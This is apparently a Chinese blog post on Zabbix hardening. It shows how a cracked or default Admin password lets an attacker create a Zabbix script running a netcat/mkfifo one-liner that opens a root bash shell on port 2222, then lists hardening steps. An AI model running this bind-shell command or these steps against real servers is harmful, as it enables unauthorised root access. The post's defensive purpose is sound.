如果你的Zabbix的Admin口令太弱或者使用了默認口令(Admin/zabbix),而被***破解了口令的話,Zabbix服務器在***面前就已經毫無抵抗力了。***可以創建“system.run[command,<mode>]”監控項執行命令,甚至獲取服務器shell,獲取root權限。
先介紹下“system.run[command,<mode>]”,這個監控項是agent自帶的,使zabbix server可以遠程在agent的機器上執行任意命令。方法有二:一是建立監控項,二是通過zabbix_get命令直接遠程調用。使agent啓用這個監控項要在配置文件裏設置EnableRemoteCommands=1。命令執行權限限制於zabbix agent的啓動用戶,如果你爲了方便,把agent的啓動用戶設置爲root的話(AllowRoot=1),這是非常危險的。
下面模擬一個場景,展示***在獲取Zabbix Admin口令的情況下,如何獲取服務器的shell,甚至root權限:
這裏利用NetCat(nc)命令打開shell,如果你的系統是RedHat/CentOS系列,nc可以通過yum下載到。
選擇【Administration】->【Scripts】,創建一個script,如下圖:
“Execute on”選擇Zabbix server,“Commands”裏輸入:
mkfifo /tmp/tmp_fifo cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l 2222 > /tmp/tmp_fifo
上面的意思是打開一個shell,監聽2222端口。
進入【Dashboard】界面,在下面隨便點擊一個Host,會彈出一個“Scripts”選項卡,點擊上面創建的“create shell”,這樣上面的命令就會被執行。
到zabbix server服務器上可以看到2222號端口已經在監聽了。
下面我們在自己的機器上,用nc命令連接到server的shell:
上圖顯示我們成功獲取了zabbix服務器的shell,而且是root權限!這是因爲我的zabbix server是以root啓動的。
下面說一下如何對zabbix安全加固,防止這種情況發生:
1、很重要的一點,zabbix的登錄口令一定要複雜,不要用默認口令或弱口令。
2、zabbix的server和agent都不要以root啓動,不要設置AllowRoot=1。
3、禁止agent執行system.run,不要設置EnableRemoteCommands=1。
4、經常打安全補丁,如果系統內核版本過低有漏洞的話,即使在zabbix用戶下照樣能獲取root權限。
參考
sohu漏洞案例:
http://www.wooyun.org/bugs/wooyun-2013-023089
Netcat 命令: